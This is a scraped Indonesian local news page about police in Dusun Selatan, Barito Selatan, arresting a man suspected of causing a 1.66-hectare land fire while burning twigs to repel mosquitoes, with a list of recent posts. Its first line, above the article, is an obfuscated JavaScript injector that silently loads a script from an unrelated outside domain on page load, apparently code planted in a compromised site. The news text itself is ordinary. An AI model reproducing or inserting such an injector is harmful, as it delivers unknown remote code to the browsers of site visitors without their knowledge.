(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polsek Dusel Tangkap MS Terduga Pelaku Pembakaran Lahan


BUNTOK, Seorang pelaku pembakaran hutan dan lahan di Desa Sanggu, jalan Kumbang Bernaung, RT 004 RW 002, Kecamatan Dusun Selatan (Dusel), pada Sabtu (7/9) sekitar 13:00 Wib, berhasil diamankan polisi.

Kapolres Barsel Wahid Kurniawan melalui Kapolsek Dusel Ipda Abi Karsa mengatakan, Unit Patroli Dusel bersama dengan anggota BPBD Barsel melaksanakan patroli di desa Sanggu, jalan Kumbang Bernaung, pada saat itu menemukan lahan yang sedang terbakar. Setelah melakukan penyelidikan didapat informasi bahwa yang telah melakukan pembakaran lahan tersebut adalah MS warga kelahiran Tuyau. Petugas mencari dan mengamankan MS dan barang bukti ke Mapolsek Dusel untuk menjalani proses penyidikan lebih Lanjut.

“Saat melakukan patroli, petugas mendapati lahan terbakar dan berdasarkan informasi yang di dapat di lapangan, kita berhasil mengamankan MS sebagai pelaku pembakaran lahan tersebut,” kata Abi kepada Kanalkalimantan.com, Minggu (8/9).

Terduga MS saat diperiksa di Mpolsek Dusun Selatan. foto: polsek dusel

Lebih lanjut dikatakan Kapolsek, alasan pelaku membakar berawal dari membakar tumpukan kayu ranting kering bekas potongan kayu untuk mengusir nyamuk.

Namun api tersebut ditinggal oleh MS makan siang, sehingga api tumpukan kayu ranting kering tersebut merambat meluas ke lahan milik orang lain, sehingga mengakibatkan kebakaran yang dengan luas lahan kurang lebih 1,66 hektare.

“Jadi alasan pelaku berawal dari mengusir nyamuk dengam membakar tumpukan kayu ranting, yang kemudian ditinggal makan, kebakaran meluas hingga satu hectare lebih,” beber Abi.

Ditambahkan olehnya untuk pelaku masih dilakukan pemeriksaan Mapolsek Dusel dan apabila terbukti akan dilakukan penindakan secara tegas sebagaimana dimaksud dalam pasal 25 ayat (1) Jo Pasal 2 Ayat (1) Perda Propinsi Kalteng No. 5 Tahun 2003 tentang pengendalian kebakaran hutan dan atau lahan.

“Saya mengimbau kepada masyarakat agar jangan membakar hutan dan lahan selama musim kemarau ini, karena siapapun pelakunya, akan ditindak tegas,” tandas Abi. (digdo)

Reporter : digdo
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.